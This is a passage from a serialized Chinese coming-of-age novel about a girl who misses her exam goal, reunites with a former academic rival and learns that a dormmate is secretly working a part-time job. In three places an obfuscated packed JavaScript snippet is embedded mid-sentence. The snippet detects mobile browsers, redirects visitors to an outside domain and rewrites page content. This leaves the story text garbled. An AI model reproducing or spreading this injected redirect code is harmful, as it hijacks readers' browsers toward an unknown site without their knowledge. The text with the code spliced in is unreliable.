“本台记者为您发回最新报道:受持续强降雨影响,我市各区县昨日......今日凌晨1时许,江河县境内跨江大桥发生重大交通事故。据应急管理部门最新通报,事故已造成三名驾乘人员不幸当场罹难,其余七名伤者紧急送医后,其中两人经全力抢救无效离世......目前交警部门已对事故路段实施交通管制,医疗团队正全力救治其余伤员......” “这么严重吗?”江随和替阿爷舀了一碗粥,听见收音机的播报不禁皱起了眉头,说着又瞧见阿奶端着几盘小菜出来,赶忙上前去帮忙。 “昨夜那雨确实下的突然,不过算算日子,接下来进梅雨季了,怕是还要下好长一段时间。”阿爷朝姐弟俩招手,“等会儿再闹,先来吃点东西。” 收音机的天线被拉的长长的,里面仍旧持续播报着新闻。 “......本台将持续关注事件进展,在此特别提醒广大市民,暴雨天气请谨慎驾驶,注意出行安全。” 这场雨又断断续续下了一个星期之久。 夏日的蝉鸣声犹在耳畔,六月的栀子花香就此漫过课桌,黑板上的未知数X得出了无数种可能。 江随意摩挲着准考证边缘毛糙的折角,空调外机在窗外嗡嗡震动,电脑屏幕右下角的数字刚跳过8:59,她咽下第三颗薄荷糖,舌尖凉意炸开的瞬间,又抽了一张纸巾擦掉手中的汗。 群里的消息不断闪动着。 【我的天,我竟然超常发挥了,加上独生子女证,正好超了三中一分!!!老天还是眷顾我的呜呜呜呜】 【这次县一是不是江随意啊?】 【那必然是,我们小江力压群雄,勇夺第一,A中稳稳的!】 【可是她都没参加A中跨区县提前招啊,那得考到710以上才能上A中吧......】 【少管】 【小道消息,县一好像是顾橖河,北江那边已经要放炮了。】 江随意迟迟没有按下查询键,她靠在椅子上,刷过一条又一条消息,直到看见江随和的消息弹了出来。 【H:701,A中。】 江随意盯着那个简洁的H字母头像,拇指无意识蹭过手机钢化膜边缘的裂痕。空调冷风扫过后颈时,她突然想起去年深冬的傍晚,江随和弯腰往她书包里塞保温杯时说:“意意,哥努努力,明年咱俩一块上A中。” 班级群还在疯狂刷屏。 【我发小在北江,他说顾橖河715分,就算不参加提前招他也能进实验班......】 【我的天,那江随意多少?】 新消息提示音突然密集如暴雨,江随意手指悬在查询键上方微微发颤。 考完之后,她就已经估过分了。中考前那段时间,她脑子里乱糟糟一团,尤其是英语的成绩怕是要比平时低上十来分左右。 Z省一向是教育发达地区,别说市里了,就江河县这个小县城,父母都非常重视孩子的读书学习,在这上面投入的时间精力可不少。 课外补习班是必不可缺的,各校的周考月考联考也是连着进行的,大家的成绩也都是紧追不舍。别说少了十分,就是低个半分都要甩开一截排名。 书桌上还粘着去年贴上的A中历年分数线,而屏幕上的成绩赫然映入眼帘—— 总分696,县排名37。 南江中学,拟录取。 江随意指尖骤然发麻,仿佛有细密的电流顺着指甲盖窜上来。喉咙口突然发紧,紧紧盯着屏幕上鲜红的数字,心脏的跳动压过了空调的嗡鸣。 她不知怎的又想起了那句‘中考榜上见’,那根松懈掉的弦又一次紧绷。小腹传来隐隐阵痛窜上全身,江随意疼得直不起腰,只好蜷缩成团,冷汗浸透了额发,她听见自己急促的呼吸。 “意意,意意......意意你怎么了?”耳边似乎传来妈妈惊慌的呼声。 屏幕上红色的字样开始变得恍惚起来,脑海中不断闪过和哥哥的约定以及许多人期望的眼神。 意识模糊的那一刻,江随意却在想—— 这一次怕是没办法把名字写在一起了。 “我知道了,你先去机场,我这边还有些事情要处理,结束后再过去”叶桐正在窗边回电话,她尽量放轻了声音,时不时往床上看去。 江随意做了很长一段梦,她梦见自己和妈妈大吵了一架。在妈妈说出对她感到失望时,她忽然惊醒。 那些混乱的记忆如潮水般涌进来,小腹疼得像是缠绞在一起。 “意意你醒了,现在怎么样,肚子还疼吗?”叶桐见她醒来,立即朝床边走去,温热的掌心覆在她冰凉的指节上,手机还在床头柜上震动。 “妈妈......”喉间发涩,她干哑着嗓子:“难受。” 她一贯贪凉,尤其是现在天热了,没人看着吃冰就不节制。每每来月经时就会格外难受,有时候痛到甚至止疼药都不管用。 叶桐带她去医院调理过一段时间,也起了效果,却不想今日竟然痛晕了过去。 桌上的电脑没有关机,屏幕上的成绩单赤裸裸摆在那里。江随意的呼吸一滞,紧张地攥住手,“妈妈,你都看到了?” 叶桐掖被角的动作顿了顿,暖宫贴的热意正缓慢渗进小腹。“先好好休息,不要多想,下午我带你去医院让苏大夫再给你开点中药调理一下。” 没有梦里那样失望的表情。 江随意有些错愕,但也在情理之中。毕竟就连之前选择放弃提前招,妈妈也没有责备过自己,可她知道对方生气了。 叶桐的手机又震动起来,她瞥了眼来电显示,指腹在女儿手背上摩挲的节奏乱了。 “意意你先喝点红糖水,妈妈去接个电话。” 叶桐在阳台压低声音说话时,江随意听见行李箱轱辘碾过的声响。去年期末考结束,妈妈也这样攥着手机在客厅里谈论许久,说好的家长会最终变成视频电话里模糊的像素点。 但好在,她的座椅上还有爸爸。 喉间苦涩,江随意又躺了下去。 “意意,你再歇一会儿,妈妈出去一下。” “好。”她把头埋在被子里,闷闷一声,直到听见门把手扭动的声音,又道:“妈妈你这次去哪里出差?等会儿到了记得报平安。” 叶桐开门的手一顿,意识到江随意理解错了,解释道:“没有出差,家里没什么吃的了,我去菜市场买点,吃好了下午还要带你去医院。” “真的?”江随意把头露了出来,有些欣喜地看着叶桐,说话间不禁多了几分撒娇的意味。 “妈妈,我想吃冰镇酸梅汤了。” 叶桐眉头一皱,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15635282|172656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长记性三个字你是不会写了吗?” 江随意抱着被子在床上打滚,小腹虽然还难受着,心里却乐开了花。 午后的医院浸在冷白光里,空气里混杂着消毒水的味道。因为是工作日,下午医院里的人并不是很多。 叶桐牵着江随意穿过空旷的候诊区,大理石地面映出母女交叠的影子。 “你好,麻烦帮我预约一下中医门诊苏大夫的号。” 叶桐将医保卡轻轻推向护士。 护士正在整理血压仪,闻言指尖顿了顿,抬头时睫毛在眼底轻轻颤动,迟疑地问道:“是苏韵苏大夫吗?” “对。”叶桐礼貌笑着,“之前都是找苏大夫看的,今日有点突然没来得及提前预约。” 护士脸上的神色有些不自然,和身侧的人对视一眼,又开口:“你不知道苏大夫一个星期前去世了吗?” 叶桐一怔,就连在一旁的江随意也僵住了身子。 “怎么回事,这么突然的吗?我上个月还带我女儿来看过......” 护士惋惜道:“前段时间不是连着下了好几天暴雨吗,江河大桥上面出了很严重的交通事故,听说苏大夫一家人都在车上。” 江随意想起了那天收音机里的报道。 但望着诊室门口电子屏上陌生的医生名字,消毒水气味突然变得辛辣刺鼻。她伸手去摸衣服口袋里的薄荷糖,却触碰到一片濡湿——不知何时渗出的冷汗浸透了布料。 叶桐的手机在包里持续震动,屏幕上“刘乘”两个字明灭闪烁。江随意瞥见母亲将手机倒扣在膝头,指尖却无意识摩挲着病历本边缘。 “请江随意到308号诊室——” 诊室里的老中医戴着玳瑁眼镜,镜片后的目光扫过江随意泛青的眼睑。 “小姑娘最近是不是总熬夜?肝气郁结得厉害。”粗糙的手指搭在腕间,江随意感觉皮肤下流动的脉搏仿佛被什么冰凉的东西刺穿了。 “平日里还贪凉吧?” 老中医的笔在药方中唰唰落下,叶桐的手机又一次震动起来。江随意望着妈妈绷直的脊背,突然发现她深棕色的发根处钻出几根银丝,在诊室惨白的灯光下像蛛丝般发亮。 等在取药的窗口时,她忍不住开口道:“妈妈,你要是有急事的话可以先走,我拿完后会自己回去的......” “没关系,妈妈会处理的。”叶桐截住她的话头,接过装药的塑料袋时手腕一沉。 医院长廊的穿堂风卷来叶桐身上淡淡的香味,江随意望着妈妈被风掀起的衣角,忽然觉得很安心,而后听见她说:“考试已经结束了,南江也很好。” 她愕然转头,发现叶桐正温柔地注视着自己。 “中考前那两个月,你每天五点半就起来背单词,天亮一点还要出去晨跑练习八百米。”温暖的掌心覆上她冰凉的手背,“是妈妈太忙了,没关注到你。” “但是意意,你本可以更好。” 江随意低下眸子,应声道:“我会的。” 离开时再次经过导诊台,正给病人讲解完的护士一转身又看见了刚才那对母女,想起苏大夫的事,心中不免有些难过。 而江随意也察觉到了护士的神情,直到走出医院,江随意仍有些难以置信,明明上个月还温柔地叮嘱她的医生,好端端的怎么就因车祸离世了。 公交车碾过水洼的声响由远及近,叶桐的声音混在雨声里:“世事难料。” 回去后,江随意给江渐明那边回了消息。 江随和在知道成绩的那一刻是松了口气的,可在等待江随意的消息时却慌了神。 想起上回她说自己没有好好考试,江随和抿了抿唇。 A中在市区,距离江河县将近一个多小时的车程,加上A中是两个星期放一次假的,这代表着他们见面的机会又少了。 “也不要紧,大不了请假回来。”他如此安慰着。 说是江随意黏着哥哥,但其实他也舍不得离开妹妹,大概是在妈妈肚子就形成的习惯。 尤其是当初那件事情发生后,他总是会担心江随意。 等了许久还不见妹妹的回复,江随和的心里忽然有些不安。 窗外的雨又淅淅沥沥下起来,江随和见到江随意时,她正躺在床上望着天花板发呆,他反手掩门时特意放轻了力道,却还是惊动对方。 “好点了吗?” 江随意刚听见声音就迅速翻身坐了起来,起初还扬着笑,下一秒就又丧着脸。 “哥,我没考上。” 江随和走到床边,将热乎的馄饨放到床头柜上,安慰道:“只要人没事就好,我们意意去哪里读书都是最厉害的。” 江随意那双透亮的黑眸忽然就湿了,一把扑倒哥哥怀里,把头低低埋下去,小声道: “对不起,我也不知道我前段时间怎么了,就是脑子抽抽了。说好要一起上同个学校的......哥,要不你骂我两句好了,这样我还好受一点。” “我也不知道自己在想什么,可能脑子真的坏掉了。” 本来还有些心疼的江随和却被她逗笑了,捏着她的脸说:“那接下来就努努力,把丢掉的再拿回来,不在一个学校又怎么了。”说着,他又忽然想起最近江随意的表现,继续问:“只不过意意,妈妈是给了你很大的压力吗,你最近......” 江随意没有说话,她不知道该怎么形容这段时间,自己好像没来由的就出现了岔子。 程瑶以前说过,她就是个别扭的人。 也许这并没有错。 她不愿在这件事情上多做停留,只是又问:“这次县一是不是顾橖河啊?” 9. 好久不见 “意意,你咋啦?”周望玥用胳膊碰了下江随意,她才从中考那段回忆里出来。 当时难受得紧,迷迷糊糊间也不记得哥哥说了些什么,可是从那以后,她再没有听过关于顾橖河的消息。 周望玥见她回神,又贴在江随意耳边,小声道:“我想起来了,怪不得这么耳熟,这不是原来北江那个顾橖河吗?他当时不是县一去了A中吗,咋现在转回南江了?” 周望玥初中原来不是南江中学的,但南北两江的“交战”仍是有所耳闻的。 顾橖河这三个字在过去可是如雷贯耳,除了她以外,底下还有不少原本就是南江初中部升上来的,他们都不约而同地看向了江随意。 在漫长的学习生涯里,他们被困在方寸之间的教室,三点一线,日复一日咀嚼着课本里的文字,没有太多轰轰烈烈的事情可以去经历,连运动会与公开课都像是投进深潭的小石子,涟漪未起便沉入记忆的淤泥。 粉笔灰簌簌落在黑板上的细响,笔墨洇透草稿纸的纹路,这些琐碎的细节填满了无数晨昏。 但唯有第一名,即便是十年后都不会有人忘记。 铃声响起,不少人重新趴回桌上闭目养神,只有个别还在低头讨论。 江随意喉头微动却未说出半字,直到顾橖河从她身侧经过走向最后一排,落在草稿上的辅助线却移了位置。 她重启了一页纸,却发现刚有思路的题目又变得复杂起来。转了转有些酸的手腕,将练习收了起来,又说:“周周,你的语文书能借我一下吗?我补一下笔记。” “哎,好的。” 周望玥才从堆满书的桌面里翻找:“你最近好忙啊,昨天看你快关寝室了才回宿舍。” 她将自己的书打开,指着上面端正的字迹,嘿嘿一笑:“怕写潦草了你看不懂,昨天陈姐就校对了卷子,补充了几个知识点,我写后边了。” “谢谢。” 这段时间江随意和隔壁几个同学在忙联赛的事情,校内文化课程落下不少。 “好的数竞生是不会生存到高三的。” 这句话是当初一个被保送的学姐留给他们这伙人的,起初大家都跟打了鸡血似的,到最后渐渐变得麻木。 五大学科竞赛,其实一般情况下,高一下册的时候就会有不少人放弃。天赋是一回事,可努力二字也不是说说而已,江随意有时候也几乎崩溃。 “十一月的决赛近在眼前,你还要兼顾校内课程......”周望玥将下巴搁在交叠的手臂上,“这些内容你不都提前学过了吗,怎么还要抄笔记?” “自学和系统教学是不一样的。”笔尖在书本上沙沙游走,像春蚕啃食桑叶。 “真羡慕你们这种自带发条的人。”周望玥直起身子伸了个懒腰,“我宁愿刷一百道物理题,也不愿多背两个单词。你没来的这几天是不知道,每天宿管都还没吹哨子,程瑶就掀开被子拉着我们就是一顿背。” “说真的,什么时候英语能退出主科?”她突然把手里的纸揉成一团,“高一结束时明明白纸黑字选的是生政物,却还要为这些洋文头疼。” “背政治和背单词不都是背吗?” “快别说了,我连政治都后悔了,那一叠的书都够呛,经济文化这些倒也算了,凭什么哲学也要包括在政治里面?那玩意儿跟天书有什么区别!” “或许...”江随意笑着将笔记还了回去,“政治本就是包罗万象的学问呢?” “还是艺术班好哇!”周望玥转着圆珠笔,窗外的阳光透了进来,印着艾宾浩斯记忆曲线表的练习册扉页卷了边,“听说他们这个暑假准备去西湖写生,之后还可能到敦煌观赏壁画。而我,还要苦兮兮地补英语,每天背五十个单词后听写......” 说着,她又停住:“嗯......也不是那么好。”想起之前视频里发小浮着黑眼圈的脸,“周六中午才放学,休息的时间本来就没多少,我发小凌晨一点还在赶作业。上周她因为画不好大卫,被老师骂惨了。” 周望玥又絮絮叨叨说个不停,从程瑶她们班班主任的新外号八卦讲到某某连着一个星期去食堂抢宵夜送到女寝,这也许是枯燥学业里唯一可以消遣逗乐的事。 可话题一转,不知怎的又落到了顾橖河身上,周望玥不经意朝后一瞥,见那人也将头埋在了臂弯里,于是扯了扯江随意的衣服。 “过去在附中我离你们最近的一次,就是初三开学那次十校模考,我终于挤进前二十了。”周望玥的手搭在江随意的肩上,“话说回来,你俩认识吗?” 江随意正给玻璃杯套上杯套,准备起身去接热水,听见对方的话却停住了,不自觉地转头将视线落在后方。 她抿了抿唇,越发口渴。 算...认识吗? 如果是一年前,她或许还有答案。 刚上高一时,还有不少人会将他们的名字联系在一起,有可惜江随意的,也有夸顾橖河的,久而久之就几乎不再有人提起。以至于江随意差点也忘了,当初比赛结束时他俩还有一个约定,只是那一年前十的光荣榜上头一回没有她的名字。 高二年段都在三楼,走廊尽头的饮水机有时总会上不来水。江随意用力按了两下红色按钮,接水口只咕噜噜吐出几滴水来。她有些烦躁地踢了饮水机一脚,在准备下二楼时不死心地又按了最后一次。 滚烫的水流突然喷射出来,有几滴溅到了手臂上。江随意踉跄着后退,却不小心撞到了人,对方伸手从她身后绕过将水关掉,洗衣液的柠檬味混着体温漫过来。 “抱歉。” 江随意慌忙转身,手中的水杯盖子滚落到地上。 “没事。”顾橖河俯下身子将杯盖捡起递给她。 他们离得很近,江随意抬头便能瞧见顾橖河鼻上一颗浅浅的痣。他确实比记忆中高出不少,原本带着青涩的轮廓变得分明,连喉结的线条都硬朗起来。她有些恍惚,斑驳老旧的教学楼与礼堂外吹进来的风,就这样毫无预兆地从记忆深处浮了上来。 笑意明朗的影子与此刻的他重叠,江随意才意识到,原来一年的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15635283|172656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时间也可以这么久。 上课铃声响起,走廊在纷沓的脚步下震颤。蓝白校服奔涌而过,有人怀里的作业本哗啦啦散落一地。 她只听见一句—— “好久不见,江随意。” 在此之前,顾橖河在心里演练过无数次再见时的第一句话,可最终只汇成一句‘好久不见’。 印象里那个小姑娘似乎没什么变化,一双清亮的杏圆眼望着你,温顺乖巧的样子却在赛场上张扬自信。 “有烫到吗?”见她不说话,顾橖河再次开口,视线落在她的手上。 江随意低头揉了揉手,摇头:“我没事...预备铃响了,快回去吧。” 进门那一刻,周望玥就朝她喊道:“意意,那边又不出水了吗?你怎么去了这么久,刚刚程瑶来找你,说是周日测的卷子有道大题......”话音止住,眼神在一前一后进来的俩人身上来回飘忽,然后又伸手挽住江随意。 “你前脚刚走,他就跟着一块出去了,说说吧,老对手重逢是什么感觉?” 江随意把水杯塞到她怀里:“简单打了个招呼而已。”她坐下将桌上的东西收拾进抽屉,“坐下吧你,这节是英语课,你续写写完了没?” “谢谢你提醒啊,Amy说我的续写狗屁不通。”说着,她掏出那张被揉得皱巴巴的作文纸,“我让我爸妈给我换了个家教,是我堂姐推荐的,那老师听说还挺厉害,希望下次Amy点评时可以嘴下留情。” 江随意被她逗笑了,比起竞赛队里激烈的竞争氛围,她更喜欢待在这里。 闭寝的哨声在宿舍楼里回荡,门外吹风机的声音也渐渐停下。在顶上灯光熄灭前,江随意迅速打开了台灯,连同对侧的床铺也开了灯。一盏又一盏,每个角落都投下一抹暖色的光。 她们都没有说话,不大的寝室里只剩书卷翻页的声音,偶尔也会轻声讨论。 卷子又变得清晰起来,上面的字排成队硬要挤入脑袋里。 “这日子过得好苦啊...”在周望玥一声长叹之后,大家都停了笔。 程瑶捏捏自己的后颈,看了眼时间,然后将小桌板收了起来:“十一点多了,整理一下睡觉吧。” 江随意上铺的陈诺拍拍自己的脸,试图让自己清醒一点。 “还没默完呢。” “先睡吧,我也还有道题目没解出来,明天脑子清楚一点再写吧。” “那你们记得提醒我,不然我又该忘了。” 周望玥迅速躺下,望着上面的床板,默默开口:“大家,我有点饿了...” “我还剩一桶泡面...意意,阿瑶你俩吃不?” 江随意没有停笔:“我不饿,你们吃吧,动静小点不然又要扣分了。” “好嘞。” 窸窸窣窣的拆包装声传来,江随意在台灯晕开的光圈里抬头,看见三颗毛茸茸的脑袋挤在一碗方便面上方。等面汤被瓜分干净,寝室里重新陷入寂静。 最后一盏灯光熄灭,黑暗里响起此起彼伏的呼吸声。 10. 少年心事 树叶被正午的太阳晒得发脆,楼层里响起闹哄哄的声音。 江随意背着书包等在程瑶班门口,走廊上路过的人都对里面传来的骂声见怪不怪,只是加快了脚下的步伐。 “这是又要等好一会儿了。”江随意见他们迟迟不放学,就先往高二段班主任办公室去领手机。 她来的时候,陈老师正从成堆的作文里抬起来转动脖子,然后打开最底下一层的抽屉,里面只剩下几部手机。 “听说你们训练强度又加大了,最近压力不小吧?” “有点。”江随意从里面拿走自己的手机,余光瞥见对方正在批改的作文本。红笔在“少年心事当拏云”旁画了道波浪线,而桌角那盆绿萝正蔫头耷脑的垂下。 “不浇点水嘛,万一死了怎么办?” “死不了的,这个呀......”陈老师话还未完,外边就传来一阵训斥的声音,她一皱眉,“林燕又开始了。” 林燕揣着书进来时,脸上的怒气也没有消散,嘴里喊道:“多把心思花在学习上,别一天到晚整这整那的。” 而跟在她身后的程瑶仅仅只是低着头,下意识攥住的衣角暴露了所有情绪。 “之前就觉得你不对劲了,你自己看看——”林燕从办公桌上翻出一叠单子扔给程瑶,吼道:“从开学检测到现在你的年级排名掉了多少,这次的周测难度和之前差不了多少,那么简单的题你都失了分。” “本来时间就不够用了,你还要申请走读?来回要浪费多少时间你算过没有?” “还有这个备用机是怎么回事?”林燕将包里的手机拿出来狠狠拍在桌子上,“你从哪儿学的糊弄我,程瑶,问你话呢又哑巴了,是真准备气死我不成?” “不是的,老师。”程瑶刚准备解释,却在抬眼时瞬间僵住。酸涩的难堪从胸腔漫到眼眶,比在教室当众被批评更灼人。 “不是什么,你这孩子倒是说呀?”林燕有些气急败坏,顺着程瑶的视线看去,她认得那个学生,于是又说:“江随意是吧?你和程瑶同个寝室的,你说说她最近都在做些什么?” “我......”江随意怔在原地,目光落在程瑶身上,对方却避开了她。 陈老师赶忙起身将江随意拉到身后打圆场:“她这段时间忙着训练哪知道那么多,林老师你也别气了,孩子嘛总有分心做错的时候,训两句好了,都十七八岁了也要面子的。” “我真是——”被这一番话打住,林燕顺了顺气,招招手让程瑶先回去,“东西留下,你自己回去好好反省。” 江随意拿上手机也追着跑了出去,她跟在程瑶身后,静静地在教室门口等着对方收拾完东西。 教学楼里的人都走的差不多了,唯有操场上还剩几个人在那里打球。 梧桐叶摩擦着围墙发出沙沙声。 “你想问什么就问吧。” “走读是怎么回事?”江随意踢开脚边碎石,这段时间她停课不在学校,就算偶尔有事回寝室也都很晚了,周望玥和陈诺也没提过这件事,只可能是程瑶把她们都瞒着了。 程瑶攥紧书包带,指甲嵌入掌心,许久才开口:“爷爷病了,需要钱,所以我在网上找了个兼职。” 江随意停下来看她:“那你怎么都不和我们说?很严重吗?” “那也只能让你们一块担心。”程瑶抬头扯了个笑容,故作无事,“不提这个了。” “那你做的什么兼职,靠不靠谱,会不会有什么问题?要不我去问问我爸......” “意意。”程瑶打断她,眼眶忍不住红了起来,“我会想办法的,不讲这个了好不好。” 江随意抿着唇,她知道程瑶自尊心强,所以很多事情都不愿意讲。 俩个人慢吞吞走着,也不讲话。最后还是程瑶先主动开口跳过这件事,她知道江随意也是关心自己没有别的意思,只不过她不太想再麻烦别人了。 “我听周周说你找她借了很多笔记,反正学校最后不是会统一给你们组织补课吗?哪怕最后没能进集训队,你也有各大高校的机会,校内的课程也可以先放一放,别把自己逼这么紧。” 见她不想提,江随意也不再追着问,将自己最近的烦心事说了出来:“不是的,是我想高考。” 轻轻一句话却让程瑶愣住,有点不可置信:“什么意思,你都到这了准备放弃?像当初放弃提前招一样吗?” 江随意甚至不愿意去回想。 “阿瑶你不知道,在那里真的喘不过气。有时候崩溃了,却还要咬牙坚持,我们又不是只有这一条路......” 她承认自己动摇了,从初三开始就想换条路试试,只是两年过去仍在这上面犹豫徘徊着。 江随意不知道怎么开口,也害怕面对。 “不是我们,是你。我确实不知道竞赛是怎么样的,因为我没有那么多机会!江随意,不是所有人都像你那样有无数种选择。”程瑶的尾音在发抖,像绷到极致的橡皮筋。 “既然你不止这一条路,要么早点放弃,为什么总是在中途反悔?” 当初南江初中部拿到了四个A中提前招的名额,可程瑶的综合排名正好是第五。 申请表已经递交了,即便江随意放弃参加考试,也没办法将名额顺移给下一个人。 江随意没想到程瑶的反应会那么大,正想去牵却被甩开,只见她往后退了几步,眼泪控制不住的流下。 “对不起,对不起...我还是很在意,我知道我不如你,但有时候也会偷偷在想,明明就差一点,如果你早点说要放弃提前招,或许我还有机会。” “我知道,就算真的拿到了提前招的名额也可能考不上,可还是会忍不住想,因为第一次有个机会离我那么近。”程瑶撇过脸,用手擦掉眼泪,“留给我的只能是拼命读书,可我仍旧没办法像你那样做到事事都兼顾。” “对不起,意意,对不起我不是故意甩开的......”程瑶看着不知所措的江随意,心底涌上歉意:“今天我没办法和你一起走 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江随意看着他手上拿着的两本书,忽然想起初三那年这人总把教案卷成筒敲她的课桌:“江随意同学,这道题再跳步骤就让你抄十遍公式。” “您怎么在这里,不是说......” “才回来的,前两天刚入职。”秦择舟走倒顾橖河旁边,看着满墙的照片,有些怀念:“毕竟也是从这里开始的。” 他转头看向顾橖河,用书拍拍他,笑道:“倒是你,不是让你去停车场等我吗,怎么跑这边来了?” “随便逛逛。”顾橖河的目光掠过江随意书包上一串挂件,喉结动了动,最终盯着台阶缝隙里钻出的野草。 秦择舟转头对江随意解释:“他爸是我高中班主任。”见她背着书包,又问:“要回家吗,捎你一段?” 江随意笑着拒绝了。 黑色轿车在公交站停下,秦择舟降下车窗,手肘搭在窗沿:“真的不用捎你一段?” 皮质座椅细微的咯吱声里,副驾上的顾橖河忽然绷直了背,指节蜷缩,目光焊死在车载摆件上。 “马上就来车了,老师你慢慢开哦。” “行,那你自己注意安全。” 当车窗升起,顾橖河却偏过头,直到那道身影越来越小,他仍固执地盯着后视镜。 “还看啊,要我掉头回去吗?” 秦择舟突然开口,惊得顾橖河猛然回头。 红灯还剩23秒,足够把心跳声夯进车窗缝隙里。少年人的秘密都是见光死的蛾子,扑棱着翅膀也要往暗处藏。 秦择舟的尾音消融在发动机重新启动的震颤里。 “想见的人都在这里,阿橖。” 所以,留下吧。 手机忽然传来一阵闹铃,解锁掉的屏幕上是刚刚拍下的照片,看着车窗外飞速掠过熟悉的景象,掌心越发滚烫。 顾橖河浅浅应声。 “好。” 11. 酸酸甜甜 家里的门锁换了新,江随意再也不用从叮叮当当一堆挂件里面寻找她的钥匙。 自从上了高中后,双休日离他们遥遥无期。周六中午放学,周日下午还要在五点前赶回学校准备周测,而现在她只想躺在床上好好睡一觉。 可一闭上眼,脑海里就都是方才站在荣誉墙前的顾橖河,对方的身影怎么都挥之不去。 顾橖河转来南江的消息像一颗石子砸进池塘。 江随意想起课间跑操时,总有人会对着队伍末尾那道清瘦的身影窃窃私语,而她的目光也总是忍不住往斜后方瞥。 小道消息众多,谁也分不清真假。可顾橖河从没有出来解释过,转来的这几天似乎也很少与其他人有过交流。他像一株被移植到陌生土壤的植物,安静地扎根,却拒绝与任何水土交融。 原本一天可以发八百条朋友圈的人,可如今却成了南江中学最沉默的影子。 江随意想知道为什么。 屏幕上是江随和的对话框,光标在输入栏里一闪一闪,却始终没跳出一个字。她删掉第三遍打好的“哥,顾橖河转来我们学校了你知道吗?”,最终把手机反扣在床上。 窗外传来楼下小孩追逐打闹的嬉笑声,她起身推开窗,热浪扑面而来。九月下旬的天依旧很热,楼下的树被晒得焉了吧唧,叶片蜷成焦黄的卷儿。 这夏天总是和她过不去。 江随意在学校的官网上翻出那次竞赛后大家一起拍的合照。他看向镜头,手里抓着“橖王必胜”的应援旗,笑得嚣张又明亮。 江随和告诉她,那旗子是同学硬塞进顾橖河手里的,她当时还笑了许久。 她总觉得顾橖河不应该是现在这样的。 窗外的风吹进来,书桌上的日记本翻动页面,只见上面潦草地写着:“有些人像被摔碎的漂亮瓷器,你明明记得他完好时的模样,却连拼接的勇气都没有。” 这是顾橖河刚转来那天,在说完那句好久不见后,她写下来的。如今看见了又觉得矫情,团成纸球扔进垃圾桶。 毕竟她连自己的事情都是一团乱。 叶桐不在家,江随意自己简单做了碗蛋炒饭就去睡了。等醒来时,天已经完全黑了。 她摸着床头边的手机,在黑暗处亮起一点光。上面有几条消息,却唯独没有程瑶的。 程瑶是江随意转到南江后交的第一个朋友,那时候的她对于同学朋友没有抱多大期待。 前期叶桐的公司刚刚起步,总是要亲自去很多地方出差跑业务,如果预估的时间很久,她就会把江随意带在身边。上小学那几年,她总是隔一段时间就要换个地方借读,刚交到的朋友又马上要分离。 直到五年级时渐渐稳定下来,她以为同学录上的好朋友会一直有联系,可还没等到约定的十年后,她又离开了这里。 其实在哥哥不知道的情况下,离婚后的父母争吵过很多次,而每一次的问题都是围绕着江随意。 以至于有时候江随意都在想自己当初非要跟着妈妈是不是一个错误的选择。 转来南江后,程瑶总会是第一个发现她情绪不对劲的人。 手机屏幕亮了又暗,江随意始终没有把消息发出去,她不知道该如何安慰程瑶。 肚子在此刻咕噜噜叫了起来,江随意烦闷地一翻身将头埋在枕头里。 周六的商场里来来往往都是人,一旁飘来的爆米花甜香与负一层生鲜超市的冰鲜气息在自动扶梯口悄然交融。 江随意吃完海南椰子鸡出来后立即奔向隔壁最近的一家水果捞,“油腻腻的,连汤都喝不了几口。”她说着,心中暗暗将那家店彻底拉进了黑名单。 玻璃柜台里码着切好的水果,冰镇椰汁在暖光灯下泛着莹润的光泽。江随意舀起一块哈密瓜放进嘴里,清甜的汁水瞬间冲淡了舌尖上的油腻。 手机突然在帆布袋里震动起来,江随星的名字在屏幕上闪烁。 “阿姐——” 弟弟带着哭腔的声音从听筒里冲出来,江随意嚼着水果含糊应声:“咋的啦?” “我做了好久的潜望镜被我们班最讨厌的人弄坏了,他还不道歉呜呜呜呜呜......”江随星哭得一抽一抽的,“所以我......我可不可以......” “可不可以什么?” “我可不可以周一去学校揍他?” 江随意噗嗤笑出声来,将吃完的一次性碗扔进垃圾桶:“我还以为你当时就揍人家了。” “没有,我光顾着伤心了,回家后越想越气。” 即便没瞧见,她也能想象到弟弟现在气鼓鼓的模样。 “好啦,你让爸爸找他家长说下就行,就你那小胳膊小腿的能揍得了谁。别哭了,咱们再做一个就好了。” 另一头的江随星还在向姐姐告状这个同学近期以来在学校的各种恶行。 江随意刚接说话,突然瞥见楼下转角处坐着一个棕熊玩偶——程瑶穿着卡通人偶服,头套搁在脚边,被汗水浸湿的刘海黏在额头上。 休息了一会儿,她重新起身机械地递出传单, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15635285|172656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被路人拒绝了一次又一次。 见没人回话,江随星又道:“阿姐,你怎么不说话呀?是在外面吗,怎么这么吵?” “星星,我现在有点事,回去我再给你打电话。” 